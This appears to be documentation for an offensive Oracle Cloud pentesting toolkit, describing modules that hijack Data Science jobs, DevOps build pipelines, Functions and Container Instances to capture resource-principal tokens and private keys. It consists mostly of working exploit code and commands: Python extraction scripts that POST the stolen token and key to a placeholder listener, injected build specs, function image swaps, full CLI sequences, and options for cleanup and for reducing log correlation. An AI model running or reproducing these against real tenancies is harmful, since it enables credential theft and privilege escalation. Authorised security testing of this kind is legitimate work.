import os, json
from urllib.request import urlopen, Request

rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')

rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'

payload = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
print('=== RPST_START ===')
print(payload.decode())
print('=== RPST_END ===')
try:
    urlopen(Request('http://COLLAB_HOST/df-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)
    print('exfil sent')
except Exception as ex:
    print('exfil error:', ex)

Token paths inside the DataFlow runtime (set by OCI at run startup):

Variable Path
OCI_RESOURCE_PRINCIPAL_RPST /var/run/secrets/resource-principal/rpst.jwt
OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM /var/run/secrets/resource-principal/private.pem

exploit_datascience_jobs_rpst

Module path: modules.datascience.exploit.exploit_datascience_jobs_rpst
OpenGraph Edges: GENERATE_RPST_DS_JOB_RUN

What It Does

Uploads a bad Python artifact to an existing Data Science Job (or creates a new one) and triggers a run. If the target job already has an artifact, the module clones its infrastructure configuration, creates a temporary job, runs the exploit there, and deletes the temp job afterwards. Retrieval: OCI Logging → Object Storage upload (via RP) → exfil URL.

Dynamic Group rule: All {resource.type = 'datasciencejobrun', resource.compartment.id = 'COMP_OCID'}

Example Scenario

enum_datascience found a job in a project whose dynamic group has cross-compartment read access to Vault secrets. Your credential has manage data-science-family in the project's compartment. Run exploit_datascience_jobs_rpst --job-id JOB_OCID --assume — the module swaps the job's artifact, triggers a run, retrieves the RPST from OCI Logging, and saves it as a credential. You can now call the Vault API as the job's resource principal and read any secrets in scope.

Minimum Prerequisites

manage data-science-family in compartment   (job update + job create + job-run create)

Object Storage manage objects is needed only when --output-bucket is used.

Available plays

  • default — VM.Standard2.1
  • flex — VM.Standard3.Flex
  • flex-e4 — VM.Standard.E4.Flex

When creating a new job from scratch (--project-id): without --subnet-id the module uses Managed Egress (ME_STANDALONE); with --subnet-id it uses subnet-based standalone.

Key flags

Flag Description
--job-id Target existing job OCID
--project-id Project OCID — used to create a new job when no --job-id
--subnet-id Subnet for new job (omit to use Managed Egress)
--preplay Play name (default default)
--log-group-id OCI Logging log-group OCID for retrieval
--output-bucket Bucket: job uploads RPST via its own RP, module downloads as admin
--output-url Also POST RPST to this URL
--assume Auto-save captured RPST without prompting
--wait-minutes Run timeout (default 15)

Examples

With OCInferno:

# Existing job, exfil to listener
modules run exploit_datascience_jobs_rpst --job-id ocid1.datasciencejob.. --output-url http://COLLAB_HOST/rpst --assume

# Existing job, Object Storage retrieval
modules run exploit_datascience_jobs_rpst --job-id ocid1.. --output-bucket BUCKET_NAME --assume

# New Flex job from scratch (managed egress — no subnet needed)
modules run exploit_datascience_jobs_rpst --project-id ocid1.datascienceproject.. --preplay flex-e4 --output-url http://COLLAB_HOST/rpst

# Show plays
modules run exploit_datascience_jobs_rpst --preplay list

Without OCInferno (OCI CLI):

# 1. Upload extraction script as job artifact
oci data-science job create-artifact \
  --job-id JOB_OCID \
  --job-artifact-file rpst_extract.py \
  --content-disposition "attachment; filename=rpst_extract.py" \
  --profile CRED_NAME

# 2. Create job run
oci data-science job-run create \
  --job-id JOB_OCID \
  --compartment-id COMPARTMENT_OCID \
  --display-name ocinferno-rpst-run \
  --profile CRED_NAME

# 3. Poll until SUCCEEDED
oci data-science job-run get --job-run-id JOB_RUN_OCID --profile CRED_NAME

# 4. Retrieve via OCI Logging (requires --log-group-id on the job)
oci logging-search search-logs \
  --search-query 'search "COMPARTMENT_OCID/LOG_GROUP_OCID/LOG_OCID" | where message like "RPST"' \
  --time-start TIME_START --time-end TIME_END \
  --profile CRED_NAME

Script Analysis

In place (bad_job.py) — reads the RPST JWT and private key from the OCI-injected env-var paths and prints them between RPST_START/RPST_END markers. Retrieved via OCI Logging after the job run completes:

import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
print('=== RPST_START ===')
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
print('=== RPST_END ===')

Exfil variant (bad_job.py) — also POSTs the RPST to an external listener. Used when --output-url is passed:

import os, json
from urllib.request import urlopen, Request
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
payload = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
print('=== RPST_START ===')
print(payload.decode())
print('=== RPST_END ===')
try:
    urlopen(Request('http://COLLAB_HOST/ds-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)
    print('exfil sent')
except Exception as ex:
    print('exfil error:', ex)

exploit_devops_pipelines_rpst

Module path: modules.devops.exploit.exploit_devops_pipelines_rpst
OpenGraph Edges: GENERATE_RPST_DEVOPS_BUILD_PIPELINE

What It Does

Creates a DevOps code repository, pushes a build_spec.yaml that reads the resource-principal env vars via SSH (preferred, uses the API signing key) or HTTPS auth token (fallback), injects a BUILD stage into the target pipeline, and triggers a build run. Stdout is only retrievable via OCI Logging or --output-url exfil — there is no inline log retrieval API equivalent to DataFlow's get_run_log().

Dynamic Group rule: All {resource.type = 'devopsbuildrun', resource.compartment.id = 'COMP_OCID'}
Note: devopsbuildrun, not devopsbuildpipeline.

Example Scenario

enum_devops found a build pipeline in a project whose dynamic group has manage objects in tenancy — the build service can read and write any bucket. You have manage devops-family in that compartment. Run exploit_devops_pipelines_rpst --pipeline-id PIPELINE_OCID --output-url http://COLLAB_HOST/rpst --assume --cleanup — the module injects a build stage, triggers a run, and exfils the RPST to your listener. With --cleanup the injected stage and temp repo are removed afterwards, leaving the pipeline in its original state.

Minimum Prerequisites

manage devops-family in compartment
use devops-repository in compartment    (HTTPS path only; not required for SSH)
manage auth-tokens in tenancy           (HTTPS path only, if auto-creating a token)

git must be installed on the pentester host.

OCI DevOps SCM (the git server behind code repositories) uses a separate authentication layer from the standard OCI API. API calls to DevOps (creating repos, injecting pipeline stages, triggering runs) use your normal OCI credential. The git push step requires one additional authentication factor, which takes one of two forms:

SSH path (preferred): uses the credential's OCI API signing key (key_file) as the SSH identity — same key used for API calls. No auth token quota is consumed. Username format: DomainName/UserName@TenancyName (Identity Domain) or UserName@TenancyName (classic).

HTTPS path (fallback): used when the active credential has no key_file (e.g. instance/resource principals). Uses an OCI auth token as the git password. Auth tokens are visible in the OCI console under a user's "Auth Tokens" tab within an identity domain, but only at initial creation — they cannot be retrieved afterwards. OCI allows max 2 auth tokens per user; the module auto-cleans stale ocinferno-devops-exploit-temp tokens before creating a new one.

HTTPS git username format:

  • Identity Domain tenancies: TenancyName/DomainName/UserName (e.g. Acme/Default/alice@example.com)
  • Classic IAM tenancies: TenancyName/UserName

To use a pre-stored auth token, add it to the workspace DB before running the module:

configs auth-tokens list
configs auth-tokens add --token-id <id> --token-value <val>

If stored tokens are found the module skips auto-creation and uses the stored value. Otherwise it creates a temporary token, uses it for the git push, and deletes it immediately afterwards.

Note: Auto-creating a token requires manage auth-tokens in tenancy and a short propagation wait on Identity Domain tenancies.

Available plays

  • ol8 — OL8_X86_64_STANDARD_10 (default)
  • ol7 — OL7_X86_64_STANDARD_10

Key flags

Flag Description
--pipeline-id Inject into an existing pipeline
--project-id Create a new pipeline in this project
--preplay Play name (default ol8)
--output-url POST RPST to this URL during the build
--log-group-id OCI Logging log-group OCID for retrieval
--stage-name Name for the injected stage (default rpst-extract)
--cleanup Delete the injected stage + code repo after the run
--assume Auto-save captured RPST without prompting
--wait-minutes Run timeout (default 20)

Examples

With OCInferno:

# Inject into existing pipeline, exfil + cleanup
modules run exploit_devops_pipelines_rpst --pipeline-id ocid1.devopsbuildpipeline.. --output-url http://COLLAB_HOST/rpst --cleanup

# Create everything from scratch in a project
modules run exploit_devops_pipelines_rpst --project-id ocid1.devopsproject.. --output-url http://COLLAB_HOST/rpst

# Show plays
modules run exploit_devops_pipelines_rpst --preplay list

Without OCInferno (OCI CLI):

# 1. Create a hosted code repository in the project
oci devops repository create \
  --project-id PROJECT_OCID \
  --name rpst-extract \
  --repository-type HOSTED \
  --profile CRED_NAME

# 2. Create a temporary auth token and push a build_spec.yaml via git
oci iam auth-token create --user-id USER_OCID --description temp-exploit --profile CRED_NAME
git clone https://TENANCY_NAME/DOMAIN_NAME/USERNAME@devops.scmservice.REGION.oci.oraclecloud.com/namespaces/NAMESPACE/projects/PROJECT_NAME/repositories/rpst-extract
# (write build_spec.yaml that cats OCI_RESOURCE_PRINCIPAL_RPST + OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM, then git push)

# 3. Add a BUILD stage pointing at the new repo and build_spec.yaml
#    To inject after an existing stage, add: --stage-predecessor-collection '{"items":[{"id":"EXISTING_STAGE_OCID"}]}'
oci devops build-pipeline-stage create-build-stage \
  --build-pipeline-id PIPELINE_OCID \
  --display-name rpst-extract \
  --image OL8_X86_64_STANDARD_10 \
  --build-spec-file "build_spec.yaml" \
  --build-source-collection '{"items":[{"connectionType":"DEVOPS_CODE_REPOSITORY","name":"primary","repositoryId":"REPO_OCID","repositoryUrl":"REPO_HTTPS_URL","branch":"main"}]}' \
  --profile CRED_NAME

# 4. Trigger a build run
oci devops build-run create --build-pipeline-id PIPELINE_OCID --profile CRED_NAME

# 5a. Retrieve log artifact directly (no Logging service required — use with in-place build_spec.yaml)
oci devops build-run get-log-artifact \
  --build-run-id BUILDRUN_OCID \
  --artifact-key "build_log" \
  --file - --profile CRED_NAME

# 5b. Retrieve via OCI Logging (alternative — use when --log-group-id is set on the pipeline)
oci logging-search search-logs \
  --search-query 'search "COMPARTMENT_OCID/LOG_GROUP_OCID/LOG_OCID" | where message like "RPST"' \
  --time-start TIME_START --time-end TIME_END \
  --profile CRED_NAME

Script Analysis

In place (build_spec.yaml) — the build stage runs this spec, which reads the OCI-injected RPST env-var paths via an inline python3 -c command and prints the result between RPST_START/RPST_END markers. Retrieved via get-log-artifact (step 5a in Without OCInferno) or OCI Logging (step 5b):

version: 0.1
component: build
timeoutInSeconds: 300
runAs: root
steps:
  - type: Command
    name: Extract Resource Principal RPST
    command: |
      echo "=== RPST_START ==="
      python3 -c "
import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
"
      echo "=== RPST_END ==="

With exfil (build_spec.yaml) — when --output-url is passed, the module appends a second step that POSTs the RPST to a listener during the run:

version: 0.1
component: build
timeoutInSeconds: 300
runAs: root
steps:
  - type: Command
    name: Extract Resource Principal RPST
    command: |
      echo "=== RPST_START ==="
      python3 -c "
import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
"
      echo "=== RPST_END ==="
  - type: Command
    name: Exfil RPST
    command: |
      python3 -c "
import os, json
from urllib.request import urlopen, Request
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
payload = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
try:
    urlopen(Request('http://COLLAB_HOST/devops-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)
    print('exfil sent')
except Exception as ex:
    print('exfil error:', ex)
"

Valid stage types in OCI DevOps build pipelines: BUILD, DELIVER_ARTIFACT, TRIGGER_DEPLOYMENT_PIPELINE, WAIT — there is no SHELL type. Inject code execution via a BUILD stage. The build_spec steps use type: Command (different from pipeline stage types).


exploit_functions_rpst

Module path: modules.functions.exploit.exploit_functions_rpst
OpenGraph Edges: GENERATE_RPST_FN_FUNCTION

What It Does

Swaps an existing OCI Function's container image for an pentester-controlled image that returns the RPST inline in the invoke response body. No OCI Logging, no Object Storage read permissions, and no exfil listener are required — the token arrives as the HTTP response. Optionally restores the original image after capture (--no-restore to skip).

Dynamic Group rule: All {resource.type = 'fnfunc', resource.compartment.id = 'COMP_OCID'}

Example Scenario

enum_functions found a function named process-payments whose dynamic group has manage vault-secrets in compartment. You have manage functions-family. Run --build-play --preplay python312 --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest to write sources and get exact docker build/save commands. Build the image on your machine, then re-run with --function-id FUNCTION_OCID --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest --tarball ./fn-rpst-python312/fn_play.tar --assume — the module pushes the tarball via OCI signing (no docker login), swaps the function image, invokes, and the RPST arrives inline in the HTTP response. The original image is automatically restored unless you pass --no-restore.

Minimum Prerequisites

manage functions-family in compartment   (FN_FUNCTION_UPDATE + FN_FUNCTION_INVOKE)

For OCIR push: either docker login with an auth token (see exploit_add_user_auth_token), or use the exploit_ocir_image_manipulate module which uses OCI API signing (no auth token, no docker login). The --tarball flag invokes the latter path and does not require manage auth-tokens.

Available plays

  • python312 — Python 3.12 FDK handler (default)
  • python39 — Python 3.9 FDK handler (fallback)
  • python-stdlib — stdlib HTTPServer on port 8080, no FDK, uses python:3.14-slim
  • node24 — Node.js 24 FDK handler
  • go124 — Go 1.24 FDK handler (statically linked)
  • java11 — Java 11 FDK handler (not auto-buildable; requires Maven)

Key flags

Flag Description
--image Full OCIR image URI to use as the pentester image (required unless --build-play)
--function-id Target function OCID (prompted/selected from DB if omitted)
--function-name Resolve target function from workspace DB by display name (alternative to --function-id)
--app-id Application OCID (enumerate all functions in an app)
--preplay Play for --build-play or --save-sources
--build-play Write play sources to disk + print exact docker build / docker save commands; returns immediately — operator runs Docker, then re-runs with --tarball to push and exploit
--tarball Path to a docker save tarball; pushes it to OCIR via OCI signing (no docker login) then updates + invokes
--random-tag Append 8-char random suffix to the image tag (reduces predictability in OCIR access logs)
--original-image Explicitly set the image to restore after capture (auto-detected if omitted)
--save-sources Write Dockerfiles + source to disk without running the exploit
--no-restore Do not restore the original function image after capture
--output-url Also POST RPST to this URL
--invoke-url Invoke via plain HTTP POST to a public URL (API Gateway) instead of OCI signing — only FN_FUNCTION_UPDATE IAM required
--url-path Secret path token baked into function sources at --build-play time; appended to --invoke-url at invoke time
--assume Auto-save captured RPST without prompting

Examples

With OCInferno:

# Swap + invoke (RPST returned inline, no listener needed)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest --assume

# Push a pre-built tarball (no docker login — OCI signing used)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
  --tarball ./fn-rpst-python312/fn_play.tar --assume

# Build workflow: generate sources, then re-run with tarball
modules run exploit_functions_rpst --build-play --preplay python312 \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
# (run: docker build -t … && docker save … -o fn_play.tar)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
  --tarball ./fn-rpst-python312/fn_play.tar --assume

# Invoke via API Gateway (no OCI invoke IAM needed; just FN_FUNCTION_UPDATE)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
  --invoke-url https://APIGW_HOST/fn --url-path MYTOKEN --assume

# Random tag (vary tag per engagement to reduce log correlation)
modules run exploit_functions_rpst --function-id FUNCTION_OCID \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest --random-tag --assume

# Show all plays
modules run exploit_functions_rpst --preplay list

Without OCInferno (OCI CLI):

# 0a. Get your Object Storage namespace (used as the OCIR registry prefix)
oci os ns get --profile CRED_NAME

# 0b. Create an IAM auth token for Docker login — shown only once, save it
oci iam auth-token create \
  --user-id USER_OCID \
  --description "ocir-push-token" \
  --profile CRED_NAME

# 0c. Log in to OCIR, build, and push
#     Before building, your working directory should contain:
#       func.py      (the handler — from Script Analysis above, or --save-sources)
#       Dockerfile   (from Script Analysis above, or --save-sources)
#     $ ls
#       Dockerfile  func.py
#
#     Username format: NAMESPACE/USERNAME
#       Identity Domain tenancies: NAMESPACE/DOMAIN/USERNAME (e.g. mynamespace/Default/alice@example.com)
#     Region prefix examples: phx=us-phoenix-1  iad=us-ashburn-1  fra=eu-frankfurt-1  lhr=uk-london-1
docker login phx.ocir.io -u "OBJECT_STORAGE_NAMESPACE/CRED_NAME" -p "AUTH_TOKEN"
docker build -t phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest .
docker push phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest

# 0d. (Optional) Delete the auth token after pushing
oci iam auth-token delete \
  --user-id USER_OCID \
  --auth-token-id TOKEN_OCID \
  --profile CRED_NAME --force

# 1. Swap the function image to your pentester-controlled OCIR image
oci fn function update \
  --function-id FUNCTION_OCID \
  --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest \
  --profile CRED_NAME

# 2. Invoke — RPST JWT is returned inline in the response body
oci fn function invoke \
  --function-id FUNCTION_OCID \
  --file - \
  --profile CRED_NAME

# 3. Restore original image when done
oci fn function update \
  --function-id FUNCTION_OCID \
  --image ORIGINAL_IMAGE_URI \
  --profile CRED_NAME

Script Analysis

The module uses the fnproject/python runtime images from the Fn Project Docker Hub organization. fdk is pre-installed in these images — no pip install or requirements.txt needed. These are the images referenced in OCI Functions documentation:

Build from func.py + Dockerfile below, then push to OCIR as shown in steps 0a–0d of Without OCInferno. Use modules run exploit_functions_rpst --preplay list --save-sources to write all play source files to disk.

In place (func.py) — the FDK calls handler() on each invoke. Returns the RPST and private key inline in the invoke response body. No listener or Logging service required:

import io, os, json, fdk.response

def handler(ctx, data: io.BytesIO = None):
    rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
    pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
    version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
    region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
    rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
    pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
    payload = {'version': version, 'region': region, 'rpst': rpst, 'pk': pk}
    return fdk.response.Response(ctx, response_data=json.dumps(payload),
                                  headers={'Content-Type': 'application/json'})

Dockerfile — single-stage: fdk is pre-installed in the fnproject/python runtime image, so no pip install step is needed:

FROM fnproject/python:3.12
WORKDIR /function
COPY func.py .
CMD ["func.py::handler"]

python-stdlib play — no FDK, no fnproject image

Uses python:3.14-slim (standard Docker Hub image) with a stdlib HTTP server instead of FDK. OCI Functions invoke is just a POST to port 8080 — no FDK required for a single capture. Use this when you want to avoid any dependency on the fnproject Docker Hub organization.

Trade-off: the stdlib server closes the HTTP connection after each response. FDK keeps it alive across invocations (Fn 2.0 http-stream). For a single RPST capture this makes no difference; avoid this play if the target function is expected to receive concurrent or repeated invocations during the window.

--url-path TOKEN: when --url-path is set at --build-play time, the secret path token is baked into the handler source — the stdlib server returns 404 for any POST whose URL path does not match. Combine with --invoke-url to invoke via a public API Gateway endpoint without exposing the RPST to other callers on the same URL.

func.py — listens on port 8080, responds to POST with RPST JSON:

import http.server, os, json

class _H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
        pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
        version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
        region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')
        rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
        pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'
        body = json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}).encode()
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass

http.server.HTTPServer(('', 8080), _H).serve_forever()

Dockerfile:

FROM python:3.14-slim
WORKDIR /function
COPY func.py .
CMD ["python3", "func.py"]

Build and push the same way as the FDK plays (steps 0a–0d of Without OCInferno), then run:

modules run exploit_functions_rpst --preplay python-stdlib --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
modules run exploit_functions_rpst --build-play --preplay python-stdlib --image phx.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest

exploit_containerinstances_rpst

Module path: modules.containerinstances.exploit.exploit_containerinstances_rpst
OpenGraph Edges: GENERATE_RPST_CONTAINER_INSTANCE

What It Does

Launches an OCI Container Instance whose container runs an extraction script that reads the resource-principal environment variables and prints them between RPST_START/RPST_END markers. The module retrieves stdout via the Container Instances retrieve_logs() API — no OCI Logging service, no Object Storage read permissions, and no exfil listener are required by default. Uses the public python:3.14-slim Docker Hub image; no image build or registry push is needed.

OCI injects RPST env vars into the container at startup regardless of whether a dynamic group is in place — the DG+policy only controls what API calls the captured RPST can make. You can always capture a valid RPST from any container instance you can create. The standout advantage here over the other RPST modules is retrieval: stdout comes back inline via retrieve_logs() with no OCI Logging service, no Object Storage, and no exfil listener required.

Dynamic Group rule: All {resource.type = 'computecontainerinstance', resource.compartment.id = 'COMP_OCID'}
Note: computecontainerinstance, not containerinstance.

Example Scenario

You have manage compute-container-instances in a compartment but no DataFlow or Data Science resources exist there. Run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --assume — spins up a container from a public Docker Hub image, retrieves stdout inline via retrieve_logs(), and saves the RPST as a credential. No Logging service, no exfil listener, no custom image needed. Any policy the DG carries is a bonus on top.

Minimum Prerequisites

manage compute-container-instances in compartment
use virtual-network-family in compartment          (VCN/subnet placement)

A subnet OCID is required — run enum_core --subnets first to populate the DB, or pass --subnet-id directly.

Available plays

  • pythonpython:3.14-slim (default)
  • alpinepython:3.14-alpine
  • ubuntuubuntu:24.04
  • nodenode:26-slim
  • rubyruby:4.0.6-slim

All plays use official Docker Hub public images — no build, no push, no registry auth required.

Run modules run exploit_containerinstances_rpst --preplay list for the full table.

Key flags

Flag Description
--subnet-id Subnet OCID for placement (prompted/selected from DB if omitted)
--preplay Play name (default python)
--image Override the play's image (any Docker Hub public or OCIR URI)
--output-url Also POST RPST to this URL
--script-file Local Python script passed as python3 -c (overrides play script)
--log-group-id OCI Logging log-group OCID — searched as fallback if retrieve_logs() finds nothing
--cleanup Delete the container instance after the run
--assume Auto-save captured RPST without prompting
--wait-seconds Polling timeout in seconds (default 120)

Examples

With OCInferno:

# Default play, subnet auto-selected from DB
modules run exploit_containerinstances_rpst

# Specify subnet and auto-save credential, then delete the CI
modules run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --assume --cleanup

# Alpine play (smallest image footprint)
modules run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --preplay alpine

# Also exfil to listener (in addition to inline retrieve_logs retrieval)
modules run exploit_containerinstances_rpst --subnet-id SUBNET_OCID --output-url http://COLLAB_HOST/ci-rpst

# Show plays
modules run exploit_containerinstances_rpst --preplay list

Without OCInferno (OCI CLI):

# 1. Launch container instance running the extraction script
oci container-instances container-instance create \
  --compartment-id COMPARTMENT_OCID \
  --availability-domain AD_NAME \
  --shape CI.Standard.E4.Flex \
  --shape-config '{"ocpus":1,"memoryInGBs":8}' \
  --vnics '[{"subnetId":"SUBNET_OCID","isPublicIpAssigned":false}]' \
  --containers '[{"imageUrl":"python:3.14-slim","command":["python3","-c","import os,base64,json; print(\"RPST_START\"); print(json.dumps({\"rpst\":open(os.environ[\"OCI_RESOURCE_PRINCIPAL_RPST\"]).read().strip(),\"pk\":base64.b64encode(open(os.environ[\"OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM\"],\"rb\").read()).decode()})); print(\"RPST_END\")"]}]' \
  --profile CRED_NAME

# 2. Wait for INACTIVE lifecycle-state (container exited)
oci container-instances container-instance get \
  --container-instance-id CI_OCID --profile CRED_NAME

# 3. Retrieve stdout (note: requires the container OCID, not the instance OCID)
oci container-instances container retrieve-logs \
  --container-id CONTAINER_OCID --profile CRED_NAME

Script Analysis

Token paths inside the container (these env vars point to the injected JWT and private key):

Variable Path
OCI_RESOURCE_PRINCIPAL_RPST /var/oci/rp-identity/latest/session_token
OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM /var/oci/rp-identity/latest/private_key

The extraction command passed inline via --containers reads these paths and prints the values between RPST_START/RPST_END markers, which the module parses from the retrieve_logs() response.


Auth Token Use

OCI DevOps code repositories use a separate authentication layer for git clone: API calls use your normal OCI credential, but the git clone step requires either an SSH key (the same RSA key registered as an OCI API key) or an OCI auth token (used as the git password via HTTPS). The module below handles this automatically, preferring SSH and falling back to an auth token when no key file is available.


exploit_devops_repositories_download

Module path: modules.devops.exploit.exploit_devops_repositories_download
OpenGraph Edges: None (recon/download action, not modelled as a graph edge)

What It Does

Clones OCI DevOps code repositories to disk. The module reads repository records from the workspace DB (populated by enum_devops --repositories) and clones each one using either SSH (preferred) or HTTPS (auth token fallback).

OCI DevOps SCM (the git server behind code repositories) uses a separate authentication layer from the standard OCI API. API calls to DevOps use your normal OCI credential. The git clone step requires one additional authentication factor, which takes one of two forms:

SSH path (preferred): uses the credential's OCI API signing key (key_file) as the SSH identity — same key used for API calls. No auth token quota is consumed. Username format: DomainName/UserName@TenancyName (Identity Domain) or UserName@TenancyName (classic).

HTTPS path (fallback): used when the active credential has no key_file (e.g. instance/resource principals). Uses an OCI auth token as the git password. Auth tokens are visible in the OCI console under a user's "Auth Tokens" tab within an identity domain, but only at initial creation — they cannot be retrieved afterwards. OCI allows max 2 auth tokens per user; the module auto-cleans stale tokens before creating a new one.

HTTPS git username format:

  • Identity Domain tenancies: TenancyName/DomainName/UserName (e.g. Acme/Default/alice@example.com)
  • Classic IAM tenancies: TenancyName/UserName

To use a pre-stored auth token, add it to the workspace DB before running the module:

configs auth-tokens list
configs auth-tokens add --token-id <id> --token-value <val>

If stored tokens are found the module presents a menu to select one and skips auto-creation. Otherwise it creates a temporary token, uses it for the clone, and deletes it immediately afterwards.

Note: Auto-creating a token requires manage auth-tokens in tenancy and a short propagation wait on Identity Domain tenancies.

Example Scenario

enum_devops found 14 repositories in a DevOps project. You want to search them for hardcoded credentials, Terraform state files, or database connection strings. Run enum_devops --repositories to populate the DB (if not already done), then exploit_devops_repositories_download — all 14 repos are cloned to ocinferno_output/<workspace>/downloads/devops/repositories/ using your API key as the SSH identity, no auth token needed. From there, grep for secrets with your preferred tool (trufflehog, gitleaks, etc.).

Minimum Prerequisites

read devops-family in compartment
use devops-repository in compartment    (HTTPS path only; not needed for SSH)
manage auth-tokens in tenancy           (HTTPS path only, if auto-creating a token)

Run enum_devops --repositories first to populate the devops_repositories table.

Flags

Flag Description
--compartment-id Only clone repositories in this compartment OCID
--repo-id Only clone this specific repository OCID
--depth git clone --depth value (default 1 for speed; use 0 for full history)
--git-username Override the auto-resolved HTTPS git username
